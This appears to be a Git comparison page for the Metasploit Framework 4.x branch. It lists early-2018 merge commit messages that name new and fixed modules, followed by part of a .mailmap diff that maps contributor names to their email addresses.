Tim W b958526b6a Land #9784, add osx high sierra APFS password disclosure post module 2018-04-18 15:31:20 -07:00
Adam Cammack 8bacddb18f Land #9872, Fix JSONRPC fields in external modules 2018-04-16 14:42:06 -07:00
Adam Cammack 0bb0e78599 Land #9874, Add option for STDIN timeout 2018-04-16 14:42:06 -07:00
Metasploit 3c677aa6bf Bump version of framework to 4.16.51 2018-04-13 10:25:33 -07:00
Jeffrey Martin 6b9be37741 Land #9875, Lock rex-text due to compatibility issues 2018-04-13 10:02:20 -07:00
William Vu c6d92e3123 Land #9871, search without arguments shows help
Lol, you can still specify an empty string to search all modules.
2018-04-13 10:02:19 -07:00
Adam Cammack 5b42a81d3a Land #9823, Private IP leak via WebRTC 2018-04-12 09:27:21 -07:00
Adam Cammack c3ecbb723d Land #9865, Update Meterpreter ls/dir help 2018-04-12 09:27:21 -07:00
Adam Cammack e43686177a Land #9833, Remove broken feature detection 2018-04-12 09:27:21 -07:00
William Vu 4e34413026 Land #9864, command stager debugging fix 2018-04-12 09:27:21 -07:00
Adam Cammack a8a0dd3fcb Land #9836, Force #! for external modules 2018-04-12 09:27:21 -07:00
Brent Cook 3fae373270 Land #9848, handle 'check' command on modules that do not implement it 2018-04-10 06:55:59 -07:00
Aaron Soto d394146339 Land #9845 Remove temp file after cmd execution 2018-04-10 06:55:59 -07:00
Brent Cook 876df392f1 Land #9822, Fix backgrounded aggressive exploits 2018-04-10 06:55:58 -07:00
h00die 084e6b1db3 Land #9813, Add etcd library and version scanner 2018-04-10 06:55:58 -07:00
William Vu 1743730158 Land #9839, rex-text 0.2.17 2018-04-10 08:48:56 -05:00
Brent Cook c9ae351156 Land #9812, Add Msf::Post::Linux::Kernel lib 2018-04-10 08:48:13 -05:00
Brent Cook c5db4c5021 Land #9834, add Python UDP channel support 2018-04-10 08:41:41 -05:00
Brent Cook fcafc54db1 Land #9828, fix reverse HTTP/S listeners for the wildcard address 2018-04-06 14:20:42 -07:00
Brent Cook 62c6340d70 Land #9794, Added support for regional dialects 2018-04-06 14:20:42 -07:00
Metasploit 06062f0347 Bump version of framework to 4.16.50 2018-04-05 10:08:13 -07:00
Brent Cook 69d995f98c Land #9817, load all the deps for msfvenom
Merge remote-tracking branch 'upstream/pr/9817' into upstream-master
2018-04-04 19:06:18 -07:00
Chris Higgins ded6a50883 Land #8539, ProcessMaker Plugin Upload exploit 2018-04-04 19:06:18 -07:00
bwatters-r7 8707047f41 Land # 8007, Added NTDSgrab module to metasploit.
Merge branch 'land-8007' into upstream-master
2018-04-04 19:06:18 -07:00
bwatters-r7 914f8ba872 Land #9734, Remove unwanted 'pop RAX' from windows/x64/reverse_(win)http 2018-04-04 19:06:17 -07:00
bwatters-r7 4765ffc05a Land #9595, Add post module RID Hijacking on Windows 2018-04-04 19:06:17 -07:00
Brent Cook 706b87d085 Land #9806, fix msfconsole -L with newer versions of Ruby 2018-04-04 19:06:17 -07:00
Brent Cook ef4fd1dc75 Land #9742, QNX exploit improvements 2018-04-03 09:13:57 -05:00
Brent Cook 9d5ab1dedf Land #9726, add simple Rex::Tar wrapper for consistency with other archive types 2018-04-03 09:13:56 -05:00
Brent Cook c2bf848ba9 Land #9748, Convert the smbloris DoS into an external module
Help reliability and performance. This some Ruby-specific external module
tooling as a result as well.
2018-04-03 09:13:56 -05:00
Brent Cook 7f62d49b2a Land #7949, Format binary registry data nicely on display 2018-04-03 09:13:55 -05:00
Brent Cook 1557540b08 Land #9774, use correct whitespace when patching python meterpreter 2018-04-03 09:13:55 -05:00
Brent Cook f4810c1085 Land #9787, Fix adding IPv6 routes with subnets or cidr masks
This bumps rex-socket for the previous commit.
2018-04-03 09:13:42 -05:00
Brent Cook f956bb9943 Land #9787, Fix adding IPv6 routes with subnets or CIDR masks 2018-04-03 09:13:30 -05:00
Brent Cook d98e85f97c Land #9803, Fix no-uac msi creation 2018-04-03 09:13:30 -05:00
Brent Cook c3f9ee2ae3 Land #9802, update kerberoasting setup docs 2018-04-03 09:13:29 -05:00
Brent Cook d6f23071ca Land #9718, Add get_user_spns 'kerberoasting' module 2018-04-03 09:13:29 -05:00
Brent Cook 61da48fc5d Land #9731, tool updates 2018-04-03 09:13:28 -05:00
William Vu d192be7764 Land #9738, msfconsole user-friendliness changes 2018-04-03 09:13:28 -05:00
William Vu 5560b201b0 Land #9791, s/upts/opts/ in transport_config.rb 2018-04-03 09:13:12 -05:00
Metasploit 6b15be18e7 Bump version of framework to 4.16.49 2018-03-30 09:28:25 -07:00
Brent Cook 707b358ad6 Land #9786, disable aggregator for the Ruby 2.5 transition 2018-03-30 08:34:52 -07:00
Brent Cook 60376fe3f4 Land #9785, bump rubies to address latest security issues 2018-03-30 08:34:52 -07:00
William Vu 10ed6637ed Land #9782, CheckCode::Safe for ms_ndproxy 2018-03-30 08:34:52 -07:00
William Vu c7d5d1f489 Land #9783, ARM WinRT support for ms17_010_psexec 2018-03-30 08:34:52 -07:00
Metasploit 5d9d0b19ee Bump version of framework to 4.16.48 2018-03-29 10:03:51 -07:00
Brent Cook 9d076f6842 Land #9776, if data is nil, stop reading the heartbleed socket 2018-03-29 09:42:03 -07:00
Jon Hart 36ba1468e8 Land #9760, @h00die's etcd scanner 2018-03-29 09:17:54 -07:00
Jacob Robles 3b87bf5a03 Land #9666, Add 2017-8917 RCE for Joomla 3.7.0 2018-03-29 09:17:54 -07:00
Wei Chen 6108d79dcd Land #9684, Adding ManageEngine Application Manager RCE
Land #9684
2018-03-27 15:44:50 -07:00
Wei Chen 409ae22a7e Land #9633, Exodus Wallet Remote Code Execution
Land #9633
2018-03-27 15:44:49 -07:00
William Vu fdf9ea04a6 Land #9775, module doc improvements to MS17-010 2018-03-27 15:44:49 -07:00
Wei Chen 5b1577e46d Land #9670, Gitstack v2.3.10 RCE
Land #9670
2018-03-27 14:24:23 -05:00
James Barnett 135b7c6b92 Land #9762, Fix OpenSSL deprecation in Ruby 2.5
This PR replaces a deprecated method in the Ruby 2.5
OpenSSL library. It also bumps the ruby-version to use 2.5.

Fixes #9576
2018-03-27 14:24:07 -05:00
Brent Cook 17040e9894 Land #9768, Use a better error in scriptable sessions 2018-03-27 14:21:48 -05:00
Jacob Robles 71a1ad69dc Land #9636, Improve post module persistence_exe 2018-03-27 14:21:48 -05:00
William Vu 57411b4ef8 Land #9708, reload_lib command for msfconsole 2018-03-27 14:21:47 -05:00
William Vu b870091380 Land #9423, PSH for jenkins_xstream_deserialize 2018-03-27 14:21:47 -05:00
William Vu c31a8ab687 Land #9618, pipe auditing improvements 2018-03-27 14:21:47 -05:00
h00die 72d2b46ac8 Land #9767 land magick number blog link update 2018-03-27 14:21:46 -05:00
William Vu 26d333357b Land #9765, missed Rex require in msfvenom
My bad. I thought I had caught them all. No idea how that happened. :(
2018-03-27 14:21:46 -05:00
Brent Cook 584a6ca796 Land #9656, add initial Komand plugin stub for evaluation 2018-03-27 14:21:41 -05:00
Brent Cook 106fbf8a17 Land #9586, fix #9112, improve android screenshot error message on failure 2018-03-27 14:21:02 -05:00
h00die c56e571b18 Land #9702 exploit for clipbucket 2018-03-27 13:55:43 -05:00
Matthew Kienow b860985347 Land #9747, make notes -o status similar to hosts 2018-03-27 13:55:37 -05:00
Brent Cook a94e6559e6 pin 4.x to the 2.x versions of metasploit-credential/metasploit_data_models 2018-03-27 11:34:48 -05:00
Adam Cammack 8bf76a71c2 Land #9739, Add Python logging module support 2018-03-22 11:18:22 -07:00
Adam Cammack 517b32c836 Land #9737, Add batch_size to external batch scanners 2018-03-22 11:18:22 -07:00
Brent Cook 37576d19a1 Land #9733, rename external templates 2018-03-22 11:18:22 -07:00
Metasploit 030eae5f61 Bump version of framework to 4.16.47 2018-03-22 10:04:25 -07:00
Jeffrey Martin 2ad3124f85 Land #9723, Require dependencies conditionally in msfvenom 2018-03-17 20:33:05 -07:00
Jeffrey Martin d756db4f9d Land #9613, add bind_named_pipe x86 2018-03-17 20:33:05 -07:00
Brent Cook ef7b77ed01 Land #9529, Add module for HP iLO CVE-2017-12542 authentication bypass 2018-03-17 20:33:05 -07:00
Brent Cook dcb514e5ac Land #9694, move ssh platforms to lib 2018-03-17 20:33:04 -07:00
Metasploit 7d072ccbcd Bump version of framework to 4.16.46 2018-03-15 10:05:30 -07:00
Jacob Robles 715279311a Land #8422, Typo3 News Module Sql Injection exploit 2018-03-15 09:21:14 -07:00
h00die 8af0d9ceaa Land #9713 update to juniper config docs 2018-03-15 06:49:02 -07:00
Brent Cook 44ac2e9c58 Land #9710, update test with proper CPE 2018-03-15 06:49:02 -07:00
Brent Cook bf43542743 Land #9705, update rubocop rules 2018-03-15 06:49:01 -07:00
Tim W 8f4895c8e7 Land #9706, bump metasploit payloads to fix #9497 2018-03-13 13:33:29 -07:00
Brent Cook c5e231cfbf Land #9686, add ipv6 to slowloris, rhost to non-scanner modules 2018-03-13 13:33:28 -07:00
Brent Cook 028d329b4d Land #9632, owa_login and auth_brute enhancements 2018-03-12 10:14:19 -07:00
Jacob Robles 8c60a73731 varnish anonymous file read 2018-03-09 14:55:11 -06:00
Jacob Robles bcc0a2a94c Land #7654, varnish file read 2018-03-09 12:53:20 -08:00
Metasploit 149f04cc58 Bump version of framework to 4.16.45 2018-03-08 10:05:29 -08:00
Jeffrey Martin 4778de053a Land #9687, bump payloads, fix PHP meterpreter message parsing 2018-03-07 18:47:47 -08:00
Jacob Robles 49bc0024c1 Land #9678, Add memcached UDP version scanner 2018-03-07 18:47:47 -08:00
Jacob Robles fbee660136 Land #9554, Eclipse Equinoxe OSGi console RCE 2018-03-07 07:49:31 -08:00
Jon Hart 64019d3301 Land #9676, correcting CVE and adding disclosure date for memcached
amplification
2018-03-07 07:49:30 -08:00
bwatters-r7 4ef90d8d6c Land #9606, Add some tests for cmd_exec
Merge branch 'for-the-windows' into upstream-master
2018-03-07 07:49:30 -08:00
Christian Mehlmauer c1b50f728b Land #9672, fix docker build 2018-03-07 07:49:30 -08:00
Brent Cook f6223c0193 Land #9614, Juniper post enum module 2018-03-07 07:49:29 -08:00
bwatters-r7 9be7bc9b21 Land #9665, Add missing reverse_tcp_rc4 payload tests.
Merge branch 'land-9665' into upstream-master
2018-03-05 15:29:21 -08:00
William Vu d3b4f91b4c Land #9671, missed code from TelnetEnable refactor 2018-03-05 15:29:21 -08:00
Jon Hart 6909c635bc Land #9644, @xistence's memcached stats amplification scanner 2018-03-05 15:29:20 -08:00
Brent Cook 31bf6d1bd0 Land #9669, fix SSL cert generation in provider 2018-03-05 15:29:20 -08:00
h00die 2731b91036 Land #9658 spelling and grammar fixes 2018-03-05 07:42:48 -08:00
h00die e57a1fbd43 Land #9650 netgear telnetenable exploit 2018-03-05 07:42:48 -08:00
h00die d5edb566f5 Land #9661 fix for heart logo 2018-03-05 07:42:48 -08:00
bwatters-r7 00d5fcfd97 ReLand #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm
This reverts commit 7964868fcd.
2018-03-02 17:46:46 -06:00
Jacob Robles 0c86296d99 Land #9659, fix typo in comment 2018-03-02 17:46:21 -06:00
bwatters-r7 d2150c8d15 Revert "Land #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm"
This reverts commit fcc579377f, reversing
changes made to 95cd149378.
2018-03-02 17:45:58 -06:00
bwatters-r7 4841f29190 Land #9565, Reverse TCP x64 RC4 via max3raza's rc4_x64 asm 2018-03-02 16:41:33 -06:00
h00die 6060549512 Land #9654 msf heart logos 2018-03-02 16:41:33 -06:00
Jon Hart b63a018509 Land #9596, fixes #9592, broken NTP DRDoS modules 2018-03-02 16:41:24 -06:00
Brent Cook 4839e8e7c8 Land #9647, lock protobuf version 2018-03-01 15:40:04 -06:00
Metasploit 80f34c9b2d Bump version of framework to 4.16.44 2018-03-01 10:03:02 -08:00
William Vu 3fd2862f76 Land #9639, multi/handler exit on disabled handler
If DisablePayloadHandler is set, abort instead of hanging.
2018-03-01 07:48:02 -08:00
Metasploit 096ca90953 Bump version of framework to 4.16.43 2018-03-01 07:32:21 -08:00
Sonny Gonzalez 667cc5bcca Land #9653, fix Y2k38 issue (until Jan 1, 2038) 2018-03-01 09:28:11 -06:00
Jeffrey Martin 789034a06c Land #9638, treat 'password must change' as a successful login 2018-02-28 13:25:22 -08:00
h00die b2f112fd2b Land #9641 spelling fix for wmap rc 2018-02-28 08:50:01 -08:00
William Vu fac7f3d5be Fix #9602, a little defensive programming
Check for a nil message and unnecessary auth failures while looping.
2018-02-26 18:08:37 -06:00
Brent Cook 95a5ebc1e7 Land #9629, decouple hosts and targets for tests 2018-02-26 16:07:16 -08:00
Wei Chen 735fbc5c9f Land #9623, Support Win 2008/7+ for enum_ms_product_keys
Land #9623
2018-02-25 23:25:03 -08:00
h00die fc8cafe81a Land #9310 docs for many aux scanners 2018-02-25 23:25:02 -08:00
Brent Cook bffba1e5e3 Land #9607, upgrade osx shells to osx meterpreter 2018-02-25 23:25:02 -08:00
Metasploit 3021a3202b Bump version of framework to 4.16.42 2018-02-23 08:57:01 -08:00
William Vu 0a5e9d922f Land #9601, ms17_010_eternalblue reliability fixes 2018-02-23 08:31:02 -08:00
Brent Cook 2af4f56382 Land #9611, Fix bug causing all OWA logins to appear valid 2018-02-23 08:31:01 -08:00
bwatters-r7 ac6fede928 Land #9441, Create exploit for AsusWRT LAN RCE
Merge branch 'land-9441' into upstream-master
2018-02-23 08:31:01 -08:00
Metasploit c7cd9ca395 Bump version of framework to 4.16.41 2018-02-22 10:05:34 -08:00
Brent Cook fd029eda62 lock ruby_smb to 0.0.18 to match master 2018-02-22 11:13:12 -06:00
Jacob Robles 178afdaed1 Land #9604, Fix logged errors when running without Python 3.6 / gmpy2 2018-02-22 08:27:37 -08:00
Brent Cook a189673782 Land #9584, Fix reverse_php_ssl infinite loop 2018-02-22 08:27:36 -08:00
Brent Cook 826b986018 Land #9602, Create sessions with the Fortinet SSH backdoor scanner 2018-02-22 08:27:36 -08:00
Brent Cook 4e8fe54c6c Land #9524, prefer 'shell' channels over 'exec' channels for ssh CommandStream 2018-02-22 08:27:36 -08:00
William Vu c1d701f656 Land #9593, finger_users regex fix 2018-02-22 08:27:35 -08:00
Aaron Soto dc913b60e4 Land #9444 - hsts_eraser module and docs 2018-02-22 08:27:35 -08:00
Jacob Robles 40220b5ab6 Land #9594, CloudMe Sync v1.10.9 Buffer Overflow 2018-02-22 08:27:35 -08:00
Jacob Robles 72cb9f358e Land #9561, Disk Savvy Enterprise v10.4.18 built-in server buffer overflow 2018-02-22 08:27:34 -08:00
Brent Cook eb54ae4ec0 Land #9589, add some more payload specs 2018-02-20 10:18:22 -08:00
Brent Cook 3635a92f5a Land #9588, Fix silent fail on missing argument to wmap_sites -d idx 2018-02-20 09:24:55 -06:00
Brent Cook af8736cad6 Land #9585, fix ctrl-D handling with block continuation 2018-02-20 09:24:54 -06:00
Brent Cook 72efbb9534 Land #9583, move osx stage binary 2018-02-20 09:24:54 -06:00
Brent Cook d614e06bfa Land #8997, add local 'ls' support to Meterpreter sessions 2018-02-20 09:24:54 -06:00
Brent Cook 59a41f04f7 Land #9366, Add x64 staged Meterpreter for macOS 2018-02-20 09:24:41 -06:00
Brent Cook 8c2484d2da Land #9164, add OWA 2016 support 2018-02-20 09:24:13 -06:00
Chris Higgins d2c203bcb9 Lands #9504, MagniComp SysInfo privilege escalation 2018-02-20 09:24:13 -06:00
Brent Cook 13c8072bca Land #9505, Support local knowledge base documents 2018-02-20 09:24:12 -06:00
Brent Cook 5dede95e98 Land #9270, Implement plugin API for hooking database events 2018-02-20 09:24:12 -06:00
Brent Cook 2395f839d0 Land #9507, Expand paths for meterpreter's cp, mv, and rm commands 2018-02-20 09:24:12 -06:00
Brent Cook a27b2bff3c Land #9443, Add warning to FileDropper for deleting CWD 2018-02-20 09:24:11 -06:00
Brent Cook f581942c7f Land #9575, Fix wmap_sites -a exception on missing url 2018-02-18 20:27:53 -08:00
Brent Cook b3962c73b0 Land #9573, fixes for bind_named_pipe 2018-02-18 20:27:53 -08:00
Brent Cook 2d10a9a201 Land #9568, handle mismatch uid/gids in docker images 2018-02-18 20:27:53 -08:00
Brent Cook 0b719772cb Land #9572, add bind_named_pipe tests 2018-02-18 15:32:11 -08:00
Brent Cook d89a8c3eb9 Land #9571, specify a python encoding for the claymore DoS module 2018-02-16 15:34:49 -08:00
Brent Cook f055bccc2a Land #9570, properly handle when there is no stat callback specified on upload 2018-02-16 15:34:49 -08:00
Brent Cook 51a685bcc7 Land #9516, Support Bash-Style Continuation Lines 2018-02-16 15:34:48 -08:00
Brent Cook d2e71cfc8b Land #9512, Add Claymore Dual GPU Miner<= 10.5 DoS module 2018-02-16 15:34:48 -08:00
Brent Cook 60e37e1c78 Land #9562, avoid an error with aux module command dispatcher 2018-02-16 15:34:48 -08:00
Brent Cook 31ed50ac92 Land #9539, add bind_named_pipe transport to Windows meterpreter 2018-02-16 15:34:47 -08:00
Wei Chen 004e228a52 Land #9509, Ulterius Server < v1.9.5.0 Directory Traversal
Land #9509
2018-02-16 15:34:47 -08:00
Brent Cook e8ad3a98e9 Land #9558, Fix #9417, map timeout exp to a var for telnet_encrypt_overflow 2018-02-15 14:14:07 -08:00
Brent Cook b9a8f227fb Land #9533, Add output file support to the vulns command 2018-02-15 14:14:07 -08:00
Brent Cook 87dcb13413 update magic numbers 2018-02-15 15:25:47 -06:00
Brent Cook 1045c1fc11 Land #9564, honoring retry counts for x86/64 Windows reverse_tcp payloads 2018-02-15 13:22:56 -08:00
Brent Cook c5a73bdea3 Land #9563: improve memory usage on meterpreter file upload 2018-02-15 13:22:55 -08:00
Brent Cook 7cde510eb6 Land #9560, Fix undef method 'gsub' in bavision_cam_login 2018-02-15 13:22:55 -08:00
Metasploit 358954e15c Bump version of framework to 4.16.40 2018-02-15 10:03:12 -08:00
Brent Cook 0cee8485d0 Land #9557, add back udp_probe for now 2018-02-14 11:26:59 -08:00
Spencer McIntyre bdc0b47844 Land #9552, add private_type for stored tomcat pw
Fixes #9513
2018-02-13 19:55:54 -08:00
Jeffrey Martin aecc1f143f Land #7699, Add UDP handlers and payloads (redux) 2018-02-13 14:46:07 -08:00
Jacob Robles f281b45384 Land #9546, Correct Typo 2018-02-13 14:46:07 -08:00
Jacob Robles e485b152e3 Land #9542, Correct Typo 2018-02-13 14:46:06 -08:00
Jeffrey Martin 1126acb201 Land #9543, bump gems, remove rbnacl/ffi since unneeded 2018-02-12 11:57:18 -06:00
h00die 37cb2d77e7 Land #9422 abrt race condition priv esc on linux 2018-02-12 11:55:21 -06:00
Pearce Barry 6c3168c541 Land #9536, Add Ubuntu notes to documentation 2018-02-12 11:55:19 -06:00
Pearce Barry 73bcec5d11 Land #9408, Add Juju-run Agent Privilege Escalation module (CVE-2017-9232) 2018-02-12 11:55:19 -06:00
h00die 090f7c8bd6 Land #9467 linux priv esc against glibc origin 2018-02-12 11:55:19 -06:00
Wei Chen 72ed11574b Land #9532, Fix a bug in the MD docs references
Land #9532
2018-02-12 11:55:18 -06:00
h00die cd7187023c Land #9469 linux local exploit for glibc ld audit 2018-02-12 11:55:18 -06:00
Brent Cook 32bd516e70 Land #9525, Update mysql_hashdump for MySQL 5.7 and above 2018-02-12 11:55:17 -06:00
Jacob Robles 656eb1150a Land #9489, Add scanner for the Bleichenbacker oracle (AKA: ROBOT) 2018-02-09 16:11:57 -06:00
Metasploit 55ae1f7bbe Bump version of framework to 4.16.39 2018-02-09 09:49:50 -08:00
Pearce Barry 4d4538dceb Merge pull request #9531 from pbarry-r7/4.x-pick-up-ROBOT
Cherry-pick from master for 4.x (pick up ROBOT).  Using green GH button because I effed up my cmdline...  :/
2018-02-09 11:37:16 -06:00
Adam Cammack cd723ac86e Add scanner for Bleichenbacher oracle (ROBOT) 2018-02-09 11:14:30 -06:00
Adam Cammack b0da7fcd26 Add Enum-type options for external modules 2018-02-09 11:14:21 -06:00
Adam Cammack 0fe2fb9186 Add support for single-IP external scanners 2018-02-09 11:14:14 -06:00
Metasploit a7e779d987 Bump version of framework to 4.16.38 2018-02-08 10:04:59 -08:00
Brent Cook b696665adc Land #9478, Improve Dup Scout BOF exploit 2018-02-08 10:25:39 -06:00
Brent Cook 909b787a56 Land #9521, flush pipe buffers when a process exists in mettle 2018-02-08 10:25:25 -06:00
h00die 5457cec81c Land #9493 updates to various docs 2018-02-06 23:33:58 -06:00
scriptjunkie 64c0d60fbf Land #9492, fix for reverse port forwards 2018-02-06 23:33:52 -06:00
Matthew Kienow 49c9b3cf1e Land #9491, remove extra HTML from doc templates 2018-02-06 23:33:51 -06:00
Adam Cammack e82ff28374 Land #9490, Fix HTML escaping of Unicode in docs 2018-02-06 23:33:34 -06:00
Metasploit 1fdc4bdabb Bump version of framework to 4.16.37 2018-02-02 09:51:35 -08:00
William Vu 6c350be24e Land #9473, new MS17-010 aux and exploit modules 2018-02-02 11:32:40 -06:00
h00die 016af01fd8 Land #9399 a linux priv esc against apport and abrt 2018-02-02 11:32:29 -06:00
Brent Cook ce3d5d77e4 Land #9481, Update native DNS spoofer for Dnsruby 2018-02-02 11:32:18 -06:00
Brent Cook ec12d61702 Land #9354, Debut embedded httpd server (Brother printers) DoS 2018-02-02 11:31:59 -06:00
Metasploit 445b72fdcd Bump version of framework to 4.16.36 2018-02-01 10:03:16 -08:00
Brent Cook 48c3c7cd62 Land #9475, Fix import for Fix proxy authentication in reverse_http 2018-02-01 11:24:10 -06:00
bwatters-r7 64746d8325 Land # 9407, Add BMC Server Automation RSCD Agent RCE exploit module
Merge branch 'land-9407' into upstream-master
2018-02-01 11:23:59 -06:00
h00die b7fbffa331 Land #9445 fixes for ssl labs scanner module 2018-02-01 11:23:46 -06:00
Jacob Robles 4fa68f29d9 Land #9457, Dup Scout Enterprise v10.4.16 - Import Command Buffer Overflow 2018-02-01 11:23:26 -06:00
Christian Mehlmauer a9d4a98d80 Land #9470, Update docker image dependencies
fix #8211
2018-02-01 11:22:51 -06:00
Metasploit cca76d2217 Bump version of framework to 4.16.35 2018-01-26 16:18:28 -08:00
William Vu bff02efad4 Land #9466, metasploit-payloads bump to 1.3.28 2018-01-26 18:09:20 -06:00
Aaron Soto 395320ba97 Land #9379, Oracle Weblogic RCE exploit and documentation 2018-01-26 18:08:56 -06:00
William Vu a87ae41d81 Land #9446, Post API fix for setuid_nmap 2018-01-26 18:08:47 -06:00
Jeffrey Martin 0d98135fcb Land #9462, add missing payload tests 2018-01-26 18:08:34 -06:00
Metasploit c2379308cf Bump version of framework to 4.16.34 2018-01-25 10:04:45 -08:00
bwatters-r7 af0c58c2ae Land #9335, Added socket bind port option for reverse tcp payload.
Merge branch 'land-9335' into upstream-master
2018-01-24 17:20:14 -06:00
Matthew Kienow b515a582f0 Land #9424, Add SharknAT&To external scanner 2018-01-24 17:20:03 -06:00
Brent Cook 25652c6c17 add missing gemfile.lock update 2018-01-24 17:19:06 -06:00
Pearce Barry 926ce42a01 Land #8632, colorado ftp fixes 2018-01-24 17:13:20 -06:00
bwatters-r7 2ea9ab2625 Land #9416, Sync Breeze Enterprise 9.5.16 Import Command buffer overflow
Merge branch 'land-9416' into upstream-master
2018-01-24 17:13:16 -06:00
Adam Cammack a4022f7b8f Land #9430, Improve Hyper-V checkvm checks 2018-01-24 17:13:12 -06:00
bwatters-r7 06b702e86b Land #9449, bump metasploit-payloads from 1.3.25 to 1.3.27
rapid7/metasploit-payloads#264
rapid7/metasploit-payloads#263

Merge branch 'land-9449' into upstream-master
2018-01-24 17:13:08 -06:00
bwatters-r7 8f2de5cd41 Land #9205, Documentation for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
Merge branch 'land-9205' into upstream-master
2018-01-24 17:13:05 -06:00
bwatters-r7 a136841794 Land #9114, Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143)
Merge branch 'land-9114' into upstream-master
2018-01-24 17:13:00 -06:00
Brent Cook 15f631dcb5 Land #9452, expose linux/osx meterpreter process hiding 2018-01-24 17:12:56 -06:00
Brent Cook d6beb94c59 Land #6611, add native DNS to Rex, MSF mixin, sample modules 2018-01-24 17:12:52 -06:00
Brent Cook 5ec3da843e Land #9349, GoAhead LD_PRELOAD CGI Module 2018-01-24 17:12:47 -06:00
Brent Cook 294a8e0ada Land #9413, Expand the number of class names searched when checking for an exploitable JMX server 2018-01-24 17:12:43 -06:00
Brent Cook bb73d2c07e Land #9431, Fix owa_login to handle inserting credentials for a hostname 2018-01-24 17:12:39 -06:00
Brent Cook 47682e3f37 Land #9404, update module author 2018-01-24 17:12:34 -06:00
Brent Cook 5fc1988d63 Land #9398, allow UTF-8 module names and authors 2018-01-24 17:12:30 -06:00
Wei Chen ab610f599b Land #9442, Remove NoMethod Rescue for cerberus_sftp_enumusers
Land #9442
2018-01-24 17:12:25 -06:00
William Vu 7da3bdd081 Land #9432, cmd_edit improvements (again!)
We seem to enjoy refactoring this method.
2018-01-24 17:12:20 -06:00
Wei Chen 10fafb62bb Land #9436 - Fix cerberus_sftp_enumusers undefined method start for nil
Land #9436

Thanks Steve!
2018-01-24 17:12:16 -06:00
Brent Cook 512192d3b0 Land #9267, Add targets to sshexec 2018-01-24 17:12:12 -06:00
Brent Cook 55c345418d Land #9438, address cmd_exec inconsistencies 2018-01-24 17:11:40 -06:00
Brent Cook b8fc2c0213 Land #9389, Update commvault_cmd_exec module documentation 2018-01-24 17:11:34 -06:00
Brent Cook 23619431aa update stageless python sizes 2018-01-24 17:08:51 -06:00
Brent Cook 0916d8402e fix whitespace patchups for current python meterpreter 2018-01-24 17:08:33 -06:00
Jeffrey Martin bf6540585f lock google-protobuf and grpc on 4.x 2018-01-19 16:15:09 -06:00
Metasploit 898aa82933 Bump version of framework to 4.16.33 2018-01-18 10:05:22 -08:00
1391 changed files with 206254 additions and 40380 deletions
+21 -22
View File
@@ -1,48 +1,29 @@
acammack-r7 <acammack-r7@github> <acammack@aus-mbp-1099.aus.rapid7.com>
acammack-r7 <acammack-r7@github> <adam_cammack@rapid7.com>
acammack-r7 <acammack-r7@github> <Adam_Cammack@rapid7.com>
asoto-r7 <asoto-r7@github> <aaron_soto@rapid7.com>
bcook-r7 <bcook-r7@github> <bcook@rapid7.com>
bcook-r7 <bcook-r7@github> <busterb@gmail.com>
bpatterson-r7 <bpatterson-r7@github> <“bpatterson@rapid7.com”>
bpatterson-r7 <bpatterson-r7@github> <Brian_Patterson@rapid7.com>
bturner-r7 <bturner-r7@github> <brandon_turner@rapid7.com>
bwatters-r7 <bwatters-r7@github> <bwatters@rapid7.com>
cdoughty-r7 <cdoughty-r7@github> <chris_doughty@rapid7.com>
dheiland-r7 <dheiland-r7@github> <dh@layereddefense.com>
dmaloney-r7 <dmaloney-r7@github> <David_Maloney@rapid7.com>
dmaloney-r7 <dmaloney-r7@github> <DMaloney@rapid7.com>
dmohanty-r7 <dmohanty-r7@github> <Dev_Mohanty@rapid7.com>
dwelch-r7 <dwelch-r7@github> <dean_welch@rapid7.com>
ecarey-r7 <ecarey-r7@github> <e@ipwnstuff.com>
egypt <egypt@github> <egypt@metasploit.com> # aka egypt
egypt <egypt@github> <james_lee@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <James_Barnett@rapid7.com>
jbarnett-r7 <jbarnett-r7@github> <jbarnett@rapid7.com>
jhart-r7 <jhart-r7@github> <jon_hart@rapid7.com>
jinq102030 <jinq102030@github> <Jin_Qian@rapid7.com>
jinq102030 <jinq102030@github> <jqian@rapid7.com>
jmartin-r7 <jmartin-r7@github> <Jeffrey_Martin@rapid7.com>
kgray-r7 <kgray-r7@github> <kyle_gray@rapid7.com>
khayes-r7 <khayes-r7@github> <Kirk_Hayes@rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@aus-mac-1041.aus.rapid7.com>
lsanchez-r7 <lsanchez-r7@github> <lance@AUS-MAC-1041.local>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez+github@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@gmail.com>
lsanchez-r7 <lsanchez-r7@github> <lance.sanchez@rapid7.com>
lsato-r7 <lsato-r7@github> <lsato@rapid7.com>
lvarela-r7 <lvarela-r7@github> <“leonardo_varela@rapid7.com”>
mkienow-r7 <mkienow-r7@github> <matthew_kienow@rapid7.com>
pbarry-r7 <pbarry-r7@github> <pearce_barry@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <paul_deardorff@rapid7.com>
pdeardorff-r7 <pdeardorff-r7@github> <Paul_Deardorff@rapid7.com>
sdavis-r7 <sdavis-r7@github> <scott_davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <Scott_Davis@rapid7.com>
sdavis-r7 <sdavis-r7@github> <sdavis@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sgonzalez@rapid7.com>
sgonzalez-r7 <sgonzalez-r7@github> <sonny_gonzalez@rapid7.com>
shuckins-r7 <shuckins-r7@github> <samuel_huckins@rapid7.com>
space-r7 <space-r7@github> <shelby_pace@rapid7.com>
tatanus <tatanus@github> <adam_compton@rapid7.com>
tdoan-r7 <tdoan-r7@github> <thao_doan@rapid7.com>
todb-r7 <todb-r7@github> <tod_beardsley@rapid7.com>
todb-r7 <todb-r7@github> <todb@metasploit.com>
@@ -53,7 +34,6 @@ wvu-r7 <wvu-r7@github> <William_Vu@rapid7.com>
wvu-r7 <wvu-r7@github> <wvu@cs.nmt.edu>
wvu-r7 <wvu-r7@github> <wvu@metasploit.com>
wwalker-r7 <wwalker-r7@github> <wyatt_walker@rapid7.com>
wwebb-r7 <wwebb-r7@github> <William_Webb@rapid7.com>
# Above this line are current Rapid7 employees. Below this paragraph are
# volunteers, former employees, and potential Rapid7 employees who, at
